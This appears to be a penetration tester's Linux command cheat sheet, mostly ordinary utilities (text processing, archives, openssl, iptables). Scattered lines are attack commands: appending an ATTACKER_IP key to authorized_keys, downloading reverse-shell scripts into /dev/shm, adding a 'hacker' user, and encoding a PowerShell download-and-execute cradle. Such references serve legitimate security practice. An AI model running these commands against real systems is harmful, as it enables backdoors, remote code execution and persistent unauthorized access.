#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t [email protected] -f [email protected] -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" ([email protected])
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
